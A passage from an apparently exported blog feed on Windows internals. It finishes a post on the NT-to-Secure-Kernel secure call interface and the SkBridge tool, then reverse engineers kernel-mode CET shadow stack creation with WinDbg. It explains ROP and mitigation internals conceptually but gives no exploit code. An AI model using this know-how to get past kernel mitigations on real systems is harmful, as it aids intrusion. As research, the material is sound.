<p>In the above example <code class="language-plaintext highlighter-rouge">LsaIso.exe</code>, a secure process running in VTL 1, requested that the system call <code class="language-plaintext highlighter-rouge">NtTestAlert</code> be issued (which is system call number <code class="language-plaintext highlighter-rouge">0x1d3</code> on my machine). This is done by the secure thread, which has now been instructed to service the normal call, by issuing a call through <code class="language-plaintext highlighter-rouge">nt!VslpDispatchIumSyscall</code>. In this case an appropriate index into the system service table is used to access a target system call and invoke it (by calling the function, which is passed as the first argument to <code class="language-plaintext highlighter-rouge">nt!VslpDispatchIumSyscall</code> as a function pointer). As a point of contention, if a thread cookie is in use APCs are disabled for the target thread.</p>

<p><img src="/images/securecall28.png" alt="" /></p>

<p>When the secure call (which we are focusing on in this blog) has finished, optional output may be returned to the caller. An example is a call to retrieve the “secure PEB” of a process. Because a “secure process” technically runs in VTL 1, its memory is inaccessible from VTL 0. Due to this, even items like the PEB have special wrappers retrieving the location of items like the PEB. The output, from VTL 1, is returned to the caller through one of the input fields (which can “double” as an input and output field).</p>

<p><img src="/images/securecall29.png" alt="" /></p>

<p>This sums up the underlying mechanism for issuing a secure call.</p>

<h2 id="common-secure-call-patterns">Common Secure Call Patterns</h2>
<p>There are many common patterns one will start to notice when dealing with secure calls, specifically leveraging <em>MDLs</em>, or Memory Descriptor Lists. In a <a href="https://connormcgarr.github.io/secure-images/">previous blog post</a> I talked about one of the existing secure calls related to image validation which leverages MDLs. Effectively some of the parameters of the secure calls are “encapsulated” as MDLs. There is more detail in the aforementioned blog link I provided in this section of the post, but effectively the parameters are encapsulated as MDLs on the VTL 0 side, to lock them into <em>physical</em> memory, and then on the VTL 1 side the MDL is validated (by actually creating a <em>second</em> MDL that describes the input MDL), then mapping the VTL 0 MDL into VTL 1, and then using the <code class="language-plaintext highlighter-rouge">mdl-&gt;MappedSystemVa</code> to process the parameter. VTL 0 is usually responsible for providing the virtual address of the MDL in VTL 0 and the physical page (PFN) backing the MDL.</p>

<p>Additionally a common pattern is the use of “secure handles”. These are typically found in the form of processes and threads, and also images (section objects). These handles usually start with <code class="language-plaintext highlighter-rouge">0x140000000</code>. They are, just like “normal handles”, indexes into tables which manage the secure objects in VTL 1. An example is the “secure PEB” retrieval secure call. A list of all the valid secure calls can be found through the <code class="language-plaintext highlighter-rouge">nt!_SKSERVICE</code> enum in the symbols.</p>

<p><img src="/images/securecall30.png" alt="" /></p>

<p>We then can see in the handler in VTL 1 a call to <code class="language-plaintext highlighter-rouge">securekernel!SkobReferenceObjectByHandle</code> is made, specifying the user-provided secure process handle (found in the <code class="language-plaintext highlighter-rouge">EPROCESS</code> object in VTL 0). The result is the Secure Kernel “version” of a process, many times referred to as an “<code class="language-plaintext highlighter-rouge">SKPROCESS</code>” object.</p>

<p><img src="/images/securecall31.png" alt="" /></p>

<p>Lastly, it is important to know (especially if one is “fuzzing” the secure call interface) that if you issue any <em>invalid</em> secure call operation, your machine will crash. When I say invalid, I mean providing a numerical secure call value that is not supported by SK (you can validate this via the <code class="language-plaintext highlighter-rouge">nt!_SKSERVICE</code> enum).</p>

<p><img src="/images/securecall_bugcheck.png" alt="" /></p>

<h2 id="issuing-your-own-secure-calls">Issuing Your Own Secure Calls</h2>
<p>The point of this entire post, besides outlining the interface between VTL 0 requesting the services of VTL 1, is to introduce a software package I am releasing called <a href="https://github.com/connormcgarr/SkBridge/">SkBridge</a>. SkBridge uses a driver and a user-mode client to allow you to issue your own secure calls! As I have mentioned in this post, most secure calls are made <em>inline</em> of the kernel, with the parameters not being controllable. With this tool, it is possible to issue your own secure calls!</p>

<p>As I have mentioned in this post, there is a lot of nuance with secure calls. It is not as simple as “providing parameters” to the Secure Kernel, as some parameters are not even accessible through documented means (like extracting a secure thread/process handle). Additionally, there is the overhead of needing to encapsulate some parameters as MDLs, converting virtual-to-physical addresses, extracting section objects, secure handles, and also using a specific thread’s secure thread cookie. The project contains a few examples in <a href="https://github.com/connormcgarr/SkBridge/blob/main/SkBridgeClient/Source%20Files/Examples.cpp"><code class="language-plaintext highlighter-rouge">Examples.cpp</code></a> in the <code class="language-plaintext highlighter-rouge">SkBridgeClient</code> project. Please read the <a href="https://github.com/connormcgarr/SkBridge/blob/main/README.md">README</a> for more details!</p>

<h2 id="conclusion">Conclusion</h2>
<p>I had started this work a few weeks ago, but got side tracked when I realized it is possible to log secure call requests through ETW. This caused the release of <a href="https://github.com/connormcgarr/Vtl1Mon">Vtl1Mon</a>. I am hoping that the SkBridge project and Vtl1Mon together can help researchers interface with the Secure Kernel! My hope is this post was either entertainment value or informative. Thank you very much!</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Examining the interface by which NT requests the services of SK through the SkBridge project]]></summary></entry><entry><title type="html">Exploit Development: Investigating Kernel Mode Shadow Stacks on Windows</title><link href="/km-shadow-stacks/" rel="alternate" type="text/html" title="Exploit Development: Investigating Kernel Mode Shadow Stacks on Windows" /><published>2025-02-03T00:00:00+00:00</published><updated>2025-02-03T00:00:00+00:00</updated><id>/km-shadow-stacks</id><content type="html" xml:base="/km-shadow-stacks/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>A little while ago I presented <a href="https://github.com/connormcgarr/Presentations/blob/master/McGarr_SANS_Hackfest_2024_Redefining_Security_Boundaries.pdf">a talk</a> at SANS HackFest 2024 in California. My talk provided a brief “blurb”, if you will, about a few of the hypervisor-provided security features on Windows - specifically surrounding the mitigations instrumented through Virtualization-Based Security (VBS). Additionally, about <a href="https://x.com/33y0re/status/1722403281421455397">one year ago</a> I noticed that “Kernel-mode Hardware-enforced Stack Protection” was a feature available in the UI of the Windows Security Center (before this, enabling this feature had to be done through an undocumented registry key). This UI toggle is actually a user-friendly name for the Intel CET Shadow-Stack feature for kernel-mode stacks.</p>

<blockquote>
  <p>Intel CET technically refers to multiple features, including both Indirect Branch Tracking (IBT) and Shadow-Stack. Windows does not implement IBT (and instead leverages the existing Control Flow Guard feature). Because of this, any references to Intel CET in this blog post really refer specifically to the shadow stack feature.</p>
</blockquote>

<p>Since this feature can finally be enabled in a documented manner (plus the fact that there was not a whole lot of information online as to how Windows actually implements kernel-mode CET) I thought it would be worth including in my talk at SANS HackFest.</p>

<p>At the time when I was preparing my slides for my presentation I didn’t get to spend a lot of time (due to the scope of the talk which included multiple mitigations plus a bit about hypervisor internals) on all of the nitty-gritty details of the feature. Most of this came down to the fact that this would require some reverse engineering of the Secure Kernel. To-date, doing dynamic analysis in the Secure Kernel is not only undocumented and unsupported but it is also fairly difficult (at least to a guy like me it is!).</p>

<p>However, as Divine Providence would have it, right after my talk my friend <a href="https://x.com/AlanSguigna">Alan Sguigna</a> sent me a copy of the <a href="https://www.asset-intertech.com/products/sourcepoint/sourcepoint-windbg/">SourcePoint debugger</a> - which is capable of debugging the Secure Kernel (and much more!) Given that KCET (kernel-mode Intel CET) was already top-of-mind for me, as I had just given a talk which included it, I thought it would be a good opportunity to blog about something I love - exploit mitigations and Windows internals! This blog post will be divided into two main parts:</p>

<ol>
  <li>“The NT (<code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>) perspective” (e.g., examining how NT kicks-off the creation of a kernel-mode shadow stack)</li>
  <li>“The Secure Kernel perspective” (e.g., we then will showcase how (and why) NT relies on the Secure Kernel to properly facilitate kernel-mode shadow stacks by actively debugging the Secure Kernel with SourcePoint!)</li>
</ol>

<p>The “internals” in this blog post will <em>not</em> surround those things which my good friends Alex and Yarden blogged about <a href="https://windows-internals.com/cet-on-windows/">here</a> (such as showcasing additions to the instruction set, changes in CPU specs, etc.). What I hope to touch on in this blog post is (to the best of my abilities, I hope!) the details surrounding the Windows-specific implementation of Intel CET in kernel-mode, changes made in order to support shadow stacks, my reverse engineering process, nuances surrounding different situations in the stack creation code paths, and (what I think is most interesting) how NT relies on Secure Kernel in order to maintain the integrity of kernel-mode shadow stacks.</p>

<p>I (although I know I am not worthy of it) am asked from time to time my methodology in regards to reverse engineering. I thought this would be a good opportunity to showcase some of this for the 1-2 people who actually care! As always - I am not an expert and I am just talking about things I find interesting related to exploitation and Windows internals. Any comments, corrections, and suggestions are always welcome <code class="language-plaintext highlighter-rouge">:)</code>. Let’s begin!</p>

<h2 id="tldr-cet-threads-and-stacks">tl;dr CET, Threads, and Stacks</h2>
<p>To spend only a brief moment on the main subject of this blog post - Intel CET contains a feature known as the Shadow-Stack. This feature is responsible for mitigating <a href="https://connormcgarr.github.io/type-confusion-part-3/">ROP-based</a> attacks. ROP allows an attacker (which has control of a stack associated with a thread which is/will executing/execute) to forge a series of return addresses which were not originally found during the course of execution. Since a <code class="language-plaintext highlighter-rouge">ret</code> will load the stack pointer into the instruction pointer, and given an attacker can control the contents of the stack - this allows an attacker to therefore control the contents of the instruction pointer by <em>re-using</em> existing code found within an application (our series of forged return addresses found within the <code class="language-plaintext highlighter-rouge">.text</code> section or other location of executable code). The reason why attackers commonly use ROP is because memory corruption (generally speaking) results in the <em>corruption</em> of memory. Corrupting memory infers you can write to said memory - but with the advent of Data Execution Prevention (DEP) and Arbitrary Code Guard (ACG), regions of memory which are writable (like the stack) are <em>not</em> executable. This means attackers need to <em>re-use</em> existing code found within an application instead of directly writing their own shellcode like the “old” days. The Shadow-Stack feature works by maintaining a protected “shadow stack” which contains an immutable copy of what the stack <em>should</em> look like based on normal execution. Anytime a <code class="language-plaintext highlighter-rouge">ret</code> instruction happens, a comparison is made between the “traditional” stack (which an attacker can control) and the shadow stack (which an attacker cannot control because it is protected by hardware or a higher security boundary). If the return address (the address which contains the <code class="language-plaintext highlighter-rouge">ret</code> instruction) of the traditional stack doesn’t match the shadow stack, we can infer someone corrupted the stack, which would be indicative potentially of a ROP-based attack. Since stack corruption could lead to code execution - CET enforces that the process should die or the system crashes (in the case of KCET).</p>

<p>With this basic understanding, I first want to delve into one nuance most people are probably familiar with, but maybe not <em>every</em> reader is. As you probably learned in Computer Science 101 - threads are responsible for executing code. During the course of execution, a particular thread will have a need to store information it may need in the short term (variables, function parameters and also return addresses). A thread will store this information on the <em>stack</em>. There is a dedicated region of memory associated with “the stacks” and each thread is afforded a slice of that region resulting in a per-thread stack. All this to say, when we refer to the “stack” we are, in fact, referring to a “per-thread stack”.</p>

<p>Given that we are talking about <em>kernel-mode</em> Intel CET in this blog post - our minds will immediately jump to thinking about the protection of <em>kernel-mode</em> stacks. Since user-mode threads have user-mode stacks, it is only logical that kernel-mode threads have kernel-mode stacks - and this is very true! However, the main thing I want hearken on is the fact that kernel-mode stacks are <strong><em>NOT</em></strong> limited to kernel-mode threads. User-mode threads <em>also</em> have an associated kernel-mode stack. The implementation of threads on Windows sees user-mode threads as having two stacks. A user-mode stack <em>and</em> a kernel-mode stack. This is because user-mode threads may spend time actually executing code in kernel-mode. A good example of this is a <em>system call</em>. A system call is typically issued in <em>context</em> of the particular thread which issued it. A system call will cause the CPU to undergo a transition to start executing code at a CPL of 0 (kernel-mode). If a user-mode thread invokes a system call, and a system call requires execution of kernel-mode code - it would be a gaping security flaw to have kernel-mode storing <em>kernel-mode</em> information on a <em>user-mode</em> stack (which an attacker could just read). We can see below <code class="language-plaintext highlighter-rouge">svchost.exe</code> is about to make a system call, and execution is in user-mode (<code class="language-plaintext highlighter-rouge">ntdll!NtAllocateVirtualMemory</code>).</p>

<p><img src="/images/kcet1.png" alt="" /></p>

<p>After the <code class="language-plaintext highlighter-rouge">syscall</code> instruction within <code class="language-plaintext highlighter-rouge">ntdll!NtAllocateVirtualMemory</code> is executed, execution transitions to the kernel. If we look at the image below, when execution comes to the kernel we can see this is the exact same thread/process/etc. which was previously executing in user-mode, but RSP (the stack pointer) now contains a <em>kernel-mode</em> address.</p>

<p><img src="/images/kcet2.png" alt="" /></p>

<p>This may seem very basic to some - but my point here is for the understanding of the unfamiliar reader. While kernel-mode Intel CET is certainly a kernel-mode exploitation mitigation, it is not specific to only system threads since user-mode threads will have an associated kernel-mode stack. These associated kernel stacks will be protected by KCET when the feature is enabled. This is to clear up confusion later when we see scenarios where user-mode threads are receiving KCET protection.</p>

<h2 id="thread-and-stack-creation-nt">Thread and Stack Creation (NT)</h2>
<p>There are various scenarios and conditions in which thread stacks are created, and some of these scenarios requires a bit more “special” handling (such as stacks for DPCs, per-processor ISR stacks, etc.). What I would like to focus on specifically in this blog post is walking through how the KCET shadow stack creation works for the kernel-mode stack associated with a new user-mode thread. The process for a normal system thread is relatively similar.</p>

<p>As a given thread is being created, this results in the kernel-managed <code class="language-plaintext highlighter-rouge">KTHREAD</code> object being allocated and initialized. Our analysis begins in <code class="language-plaintext highlighter-rouge">nt!PspAllocateThread</code>, right after the thread object itself is created (<code class="language-plaintext highlighter-rouge">nt!ObCreateObjectEx</code> with a <code class="language-plaintext highlighter-rouge">nt!PsThreadType</code> object type) but not yet fully initialized. The kernel-mode stack is not yet configured. The configuration of the kernel stack happens as part of the thread initialization logic in <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code>, which is invoked by <code class="language-plaintext highlighter-rouge">nt!PspAllocateThread</code>. Note that <code class="language-plaintext highlighter-rouge">initThreadArgs</code> is not a documented structure, and I reverse engineered the arguments to the best of my ability.</p>

<p><img src="/images/kcet3.png" alt="" /></p>

<p>In the above image, we can see for the call to <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code> the system-supplied thread start address is set to <code class="language-plaintext highlighter-rouge">nt!PspUserThreadStart</code>. This will perform more initialization of the thread. Depending on the <em>type</em> of thread being created, this function (and applicable parameters) can change. As an example, a system thread would call into <code class="language-plaintext highlighter-rouge">nt!PspSystemThreadStartup</code> and a <em>secure thread</em> into <code class="language-plaintext highlighter-rouge">nt!PspSecureThreadStartup</code> (something beyond the scope of this blog but maybe I will talk about in a future post if I have time!). Take note as well of the first parameter to <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code>, which is <code class="language-plaintext highlighter-rouge">Ethread-&gt;Tcb</code>. If you are not familiar, the first several bytes of memory in an <code class="language-plaintext highlighter-rouge">ETHREAD</code> object are actually the corresponding <code class="language-plaintext highlighter-rouge">KTHREAD</code> object. This <code class="language-plaintext highlighter-rouge">KTHREAD</code> object can be accessed by the <code class="language-plaintext highlighter-rouge">Tcb</code> member of an <code class="language-plaintext highlighter-rouge">ETHREAD</code> object. The <code class="language-plaintext highlighter-rouge">KTHREAD</code> object is the <em>kernel’s</em> version of the thread, the <code class="language-plaintext highlighter-rouge">ETHREAD</code> object is the <em>executive’s</em> version.</p>

<p>Moving on, once execution reaches <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code>, one of the first things which occurs in the initialization of the thread is the thread’s kernel stack (even though we are dealing with a user-mode thread). This is done through a call to <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code>. This function is configurable to create <em>multiple</em> types of stacks in kernel-mode. We will not investigate this first blatant call to <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code>, but instead shift our focus to how the call to <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> is made, as we can see below, as this obviously is where the shadow stack “fun” will come (and will also make a call to <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code>!). As a point of contention, the arguments passed to <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> (which are not relevant in this specific case respective to shadow stack creation) are undocumented and I have reverse engineered them as best I can here.</p>

<p><img src="/images/kcet4.png" alt="" /></p>

<p>We can see, obviously, that the code path which leads towards <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> is gated by <code class="language-plaintext highlighter-rouge">nt!KiKernelCetEnabled</code>. Looking at cross-references to this global variable, we can see that it is set as part of the call to <code class="language-plaintext highlighter-rouge">nt!KiInitializeKernelShadowStacks</code> (and this function is called by <code class="language-plaintext highlighter-rouge">nt!KiSystemStartup</code>).</p>

<p><img src="/images/kcet5.png" alt="" /></p>

<p>Looking at the actual write operation, we can see this occurs after extracting the contents of the CR4 control register. Specifically, if the 23rd bit (<code class="language-plaintext highlighter-rouge">0x800000</code>) of the CR4 register is set this means that the current CPU supports CET. This is the first “gate”, so to speak, required. We will see later it is not the only one at the end of this first section of the blog on NT’s role in kernel-mode shadow stack creation.</p>

<p><img src="/images/kcet6.png" alt="" /></p>

<p>If CET is supported, the target thread for which a shadow stack will be created for (as a point of contention, in other scenarios not described here in this blog post an empty thread can be supplied to <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code>) has the 22nd bit (<code class="language-plaintext highlighter-rouge">0x400000</code>) set of the <code class="language-plaintext highlighter-rouge">Thread-&gt;MiscFlags</code> bitmask. This bit corresponds to <code class="language-plaintext highlighter-rouge">Thread-&gt;MiscFlags.CetKernelShadowStack</code> - which makes sense! Although, as we mentioned, we are dealing with a <em>user-mode</em> thread this is the creation of its <em>kernel-mode</em> stack (and, therefore, kernel-mode shadow stack).</p>

<p>We can then see, based on the value of either <code class="language-plaintext highlighter-rouge">MiscFlags</code> or what I am calling “thread initialization flags” one of the arguments passed to <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> (specifically <code class="language-plaintext highlighter-rouge">ShadowStackType</code>) is configured.</p>

<p><img src="/images/kcet6a.png" alt="" /></p>

<p>The last two code paths depend on how <code class="language-plaintext highlighter-rouge">Thread-&gt;MiscFlags</code> is configured. The first check is to see if <code class="language-plaintext highlighter-rouge">Thread-&gt;MiscFlags</code> has the 10th (<code class="language-plaintext highlighter-rouge">0x400</code>) bit set. This corresponds to <code class="language-plaintext highlighter-rouge">Thread-&gt;MiscFlags.SystemThread</code>. So what happens here is that the shadow stack type is defined as a value of <code class="language-plaintext highlighter-rouge">1</code> if the thread for which we are creating a kernel-mode shadow stack for is a system thread.</p>

<blockquote>
  <p>For the reader which is unfamiliar and curious how I determined which bit in the bitmask corresponds to which value, here is an example. As we know, <code class="language-plaintext highlighter-rouge">0x400</code> was used in the bitwise AND operation. If we look at <code class="language-plaintext highlighter-rouge">0x400</code> in binary, we can see it corresponds to bit 10.</p>
</blockquote>

<p><img src="/images/kcet7.png" alt="" /></p>

<blockquote>
  <p>If we then use <code class="language-plaintext highlighter-rouge">dt nt!_KTHREAD</code> in WinDbg, we can see <code class="language-plaintext highlighter-rouge">MiscFlags</code>, at bit <code class="language-plaintext highlighter-rouge">10</code> (starting at an offset from <code class="language-plaintext highlighter-rouge">0</code>) corresponds to <code class="language-plaintext highlighter-rouge">MiscFlags.SystemThread</code>. This methodology is true for future flags and also for how we determined <code class="language-plaintext highlighter-rouge">MiscFlags.CetKernelShadowStack</code> earlier.</p>
</blockquote>

<p><img src="/images/kcet8.png" alt="" /></p>

<p>Continuing on, the next path that can be taken is based on the following statement: <code class="language-plaintext highlighter-rouge">ShadowStackType = (miscFlags &gt;&gt; 8) &amp; 1;</code>. What this actually does is it shifts all of the bits in the mask to “the right” by 8 bits. The desired effect here is that the 8th bit (from an offset of 0) is moved to the first (0th) position. Since <code class="language-plaintext highlighter-rouge">1</code>, in decimal, is <code class="language-plaintext highlighter-rouge">00000001</code> in binary - this allows the 8th bit (from an offset of 0) to be bitwise “AND’d” 1. In other words, this checks if the 8th bit (from an offset of 0) is set.</p>

<p><img src="/images/kcet9.png" alt="" /></p>

<p>If we look at the raw disassembly of <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code> we can see exactly where this happens. To validate this, we can set a breakpoint on the bitwise AND operation. We then can “mimic” the AND operation, and tell WinDbg to break if <code class="language-plaintext highlighter-rouge">r14d</code> after performing a bitwise AND with <code class="language-plaintext highlighter-rouge">1</code> is non-zero. If the breakpoint is reached this would indicate to us the target thread <em>should</em> be that of a “secure thread”.</p>

<p><img src="/images/kcet10.png" alt="" /></p>

<p>We can see after we have hit the breakpoint we are in a code path which calls <code class="language-plaintext highlighter-rouge">wininit!StartTrustletProcess</code>. I will not go too far into detail, as I tend to sometimes on unrelated subjects, but a <em>trustlet</em> (as referred to by <em>Windows Internals, Part 1, 7th Edition</em>) refers to a “secure process”. We can think of these as special protected processes which run in VTL 1.</p>

<p>At the time the breakpoint is reached, the target thread of the operation is in the RDI register. If we examine this thread, we can see that it resides in <code class="language-plaintext highlighter-rouge">LsaIso.exe</code> - which <a href="https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/how-it-works">is</a> a “secure process”, or a trustlet, associated with Credential Guard.</p>

<p><img src="/images/kcet11.png" alt="" /></p>

<p>More specifically, if we examine the <code class="language-plaintext highlighter-rouge">SecureThread</code> member of the thread object, we can clearly see this is a secure thread! Although we are not going to examine the “flow” of a secure thread, this is to validate the code paths taken which we mentioned earlier.</p>

<p><img src="/images/kcet12.png" alt="" /></p>

<p>After (yet another) side track - the other code path which can be taken here is that <code class="language-plaintext highlighter-rouge">SecureThread</code> is <code class="language-plaintext highlighter-rouge">0</code> - meaning <code class="language-plaintext highlighter-rouge">ShadowStackType</code> is also <code class="language-plaintext highlighter-rouge">0</code>. A value of <code class="language-plaintext highlighter-rouge">0</code> I am just referring to as a “normal user-mode thread”, since there is no other special value to denote. For our purposes, the stack type will always be <code class="language-plaintext highlighter-rouge">0</code> for our specific code path of a user-mode thread having a kernel-mode shadow stack created.</p>

<p>This means the only other way (in this specific code path which calls <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> from <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code>) to set a non-zero value for <code class="language-plaintext highlighter-rouge">ShadowStackType</code> is to have <code class="language-plaintext highlighter-rouge">(initThreadFlags &amp; 8) != 0</code>.</p>

<p><img src="/images/kcet13.png" alt="" /></p>

<p>Now, if we recall how <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code> was invoked for a <em>user-mode</em> thread, we can see that <code class="language-plaintext highlighter-rouge">Flags</code> is always explicitly set to <code class="language-plaintext highlighter-rouge">0</code>. For our purposes, I will just denote that these flags come from other callers of <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code>, specifically early threads like the kernel’s initial thread.</p>

<p><img src="/images/kcet14.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">nt!KeInitThread</code> will then eventually invoke <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code>. As you recall what I mentioned earlier, <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> is a “generic” function - capable of creating <em>multiple</em> kinds of stacks. It should be no surprise then that <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> is just a wrapper for <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> (which uses an undocumented structure as an argument which I have reversed here as I can). It is also worth noting that <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> is always called with the stack flags (third parameter) set to <code class="language-plaintext highlighter-rouge">0</code> in the user-mode thread code path via <code class="language-plaintext highlighter-rouge">nt!KeInitThread</code>.</p>

<p><img src="/images/kcet15.png" alt="" /></p>

<p>Given <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code>’s flexibility to service stack creations for multiple types, it makes sense that the logic for creation of the shadow stack is contained here. In fact, we can see on a successful call (an <code class="language-plaintext highlighter-rouge">NTSTATUS</code> code greater than <code class="language-plaintext highlighter-rouge">0</code>, or <code class="language-plaintext highlighter-rouge">0</code>, indicates success) the shadow stack information is stored.</p>

<p>When execution reaches <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> (for the shadow stack creation) there are effectively two code paths which can be taken. One is to use an already “cached” stack, which is a free cached stack entry that can be re-purposed for the new stack. The other is to actually allocate and create a new shadow stack.</p>

<p>The first thing that is done in <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> is the arguments from the call are copied and stored - additionally <code class="language-plaintext highlighter-rouge">allocateShadowStackArgs</code> are initialized to <code class="language-plaintext highlighter-rouge">0</code>. This is an undocumented structure I, to the best of my ability, reverse engineered and can possibly be used in a call to <code class="language-plaintext highlighter-rouge">nt!MiAllocateKernelStackPages</code> if we hit the “new stack allocation” code path instead of the “cached stack” code path. Additionally, a specific “partition” is selected to be the “target partition” for the operation.</p>

<p><img src="/images/kcet16.png" alt="" /></p>

<p>Firstly you may be wondering - where does <code class="language-plaintext highlighter-rouge">nt!MiSystemPartition</code> come from, or the term partition in general? This global is of type <code class="language-plaintext highlighter-rouge">nt!_MI_PARTITION</code> and, according to <em>Windows Internals, Part 1, 7th Edition</em>, “consists of [the memory partition’s] own memory-related management structures, such as page lists, commit charge, working set, page trimmer, etc.”. We can think of these partitions as a container for memory-management related structures for things, as an example, like a Docker container (the concept is similar to how virtualization is used to isolate memory, with each VM having its own set of page tables). I am not an expert on these partitions, and they do not appear (at least to me) very documented, so please read the applicable portion of <em>Windows Internals, Part 1, 7th Edition</em> I just mentioned.</p>

<p>The system partition always exists, which is this global variable. This system partition represents the system. It is also possible for partition to be associated with a target process - and this is exactly what <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> does.</p>

<p>We then can see from the previous image that the presence of a target thread is used to help determine the target partition (recall earlier I said there were some “special” cases where no thread is provided, which we won’t talk about in this blog). If a target thread is present, we extract a “partition ID” from the process housing the target thread for which we wish to create a shadow stack. An array of all known partitions is managed by the global variable <code class="language-plaintext highlighter-rouge">nt!MiState</code> which stores a lot of the commonly-accessed information, such as system memory ranges, pool ranges, etc. For our target thread’s process, there is no partition associated with it. This means the index of <code class="language-plaintext highlighter-rouge">0</code> is provided, which is the index of the system default partition. This is how the function knows where to index the known cached shadow stack entries in the scenarios where the cache path is hit.</p>

<p><img src="/images/kcet17.png" alt="" /></p>

<p>The next code path(s) that are taken revolve around the type of stack operation occurring. If we can recall from earlier, <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> accepts a <code class="language-plaintext highlighter-rouge">StackType</code> argument from the input structure. Our “intermediary” <code class="language-plaintext highlighter-rouge">ShadowStackType</code> value from the call in <code class="language-plaintext highlighter-rouge">nt!KiCreateKernelShadowStack</code> supplies the <code class="language-plaintext highlighter-rouge">StackType</code> value. When <code class="language-plaintext highlighter-rouge">StackType</code> is <code class="language-plaintext highlighter-rouge">5</code>, this refers to a “normal” non-shadow stack operation (such as the creation of a new thread stack or the expansion of a current one). Since <code class="language-plaintext highlighter-rouge">5</code> for a <code class="language-plaintext highlighter-rouge">StackType</code> is reserved for “normal” stacks, we know that callers of <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> provide a different value to specify “edge” cases (such as a “type” of kernel shadow stack). In our case, this will be set to <code class="language-plaintext highlighter-rouge">0</code>.</p>

<p>In conjunction with the stack type, a set of “stack flags” (<code class="language-plaintext highlighter-rouge">StackFlags</code>) provide more context about the current stack operation. An example of this is to denote whether or not the stack operation is the result of a new thread stack or the expansion of an existing one. Since we are interested specifically in <em>shadow</em> stack operations, we will skip over the “normal” stack operations. Additionally, for the kernel-mode shadow stack path for a user-mode thread, <code class="language-plaintext highlighter-rouge">StackFlags</code> will be set to <code class="language-plaintext highlighter-rouge">0</code>.</p>

<p>The next thing <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> will do is to determine the size of the stack. The first bit of the stack flag bitmask denotes if a non-regular (larger) stack size is needed. If it <em>isn’t</em> needed, some information is gathered. Specifically in the case of kernel-mode shadow stacks we will hit the <code class="language-plaintext highlighter-rouge">else</code> path. Note here, as well, a variable named <code class="language-plaintext highlighter-rouge">cachedKernelStackIndex</code> is captured. Effectively this variable will be set to <code class="language-plaintext highlighter-rouge">3</code>, as <code class="language-plaintext highlighter-rouge">stackType</code> is empty, in the case of a kernel-mode shadow stack operation for a user-mode thread. This will come into play later.</p>

<p><img src="/images/kcet18.png" alt="" /></p>

<p>At this point I noticed that there has been a change to <code class="language-plaintext highlighter-rouge">KPRCB</code> that I couldn’t find other information on the internet about, so I thought it would be worth documenting here since we need to talk about the “cached stack” path anyways! In certain situations a cached stack entry can be retrieved from the current processor (<code class="language-plaintext highlighter-rouge">KPRCB</code>) servicing the stack creation. The change I noticed comes in the fact that <code class="language-plaintext highlighter-rouge">KPRCB</code> now has <em>two</em> cached stack regions (tracked by <code class="language-plaintext highlighter-rouge">Prcb-&gt;CachedStacks[2]</code>). The old structure member was <code class="language-plaintext highlighter-rouge">Prcb-&gt;CachedStack</code>, which <a href="https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/amd64_x/kprcb/index.htm">has been</a> around since Windows 10 1709.</p>

<p><img src="/images/kcet19.png" alt="" /></p>

<p>In the above case we can see when <code class="language-plaintext highlighter-rouge">StackType</code> is <code class="language-plaintext highlighter-rouge">5</code>, the <code class="language-plaintext highlighter-rouge">CachedStacks[]</code> index is set to <code class="language-plaintext highlighter-rouge">0</code>. Otherwise, it is <code class="language-plaintext highlighter-rouge">1</code> (tracked by the variable <code class="language-plaintext highlighter-rouge">prcbCachedStackIndex</code> in decompiler).</p>

<blockquote>
  <p>Note that <code class="language-plaintext highlighter-rouge">cachedKernelStackIndex</code> is highlighted but is not of importance to us <em>yet</em>.</p>
</blockquote>

<p>This infers this new <code class="language-plaintext highlighter-rouge">CachedStacks[]</code> index is specifically for shadow stacks to be cached! Note that in the above screenshot we see <code class="language-plaintext highlighter-rouge">nt!MiUpdateKernelShadowStackOwnerData</code>. This check is gated by checking if <code class="language-plaintext highlighter-rouge">prcbCachedStackIndex</code> is set to <code class="language-plaintext highlighter-rouge">1</code>, which is for shadow stacks. When a cached entry for a stack is found the “owner data” gets updated. What this really does is take the PFNs associated with shadow stack pages and associates them with the target shadow stack.</p>

<p>There is actually a second way, in addition to using the PRCB’s cache, to use a free and unused shadow stack for a caller requesting a new shadow stack. This second way, which I will show shortly, also will use <code class="language-plaintext highlighter-rouge">nt!MiUpdateShadowStackOwner</code>, and relies on <code class="language-plaintext highlighter-rouge">cachedKernelStackIndex</code>.</p>

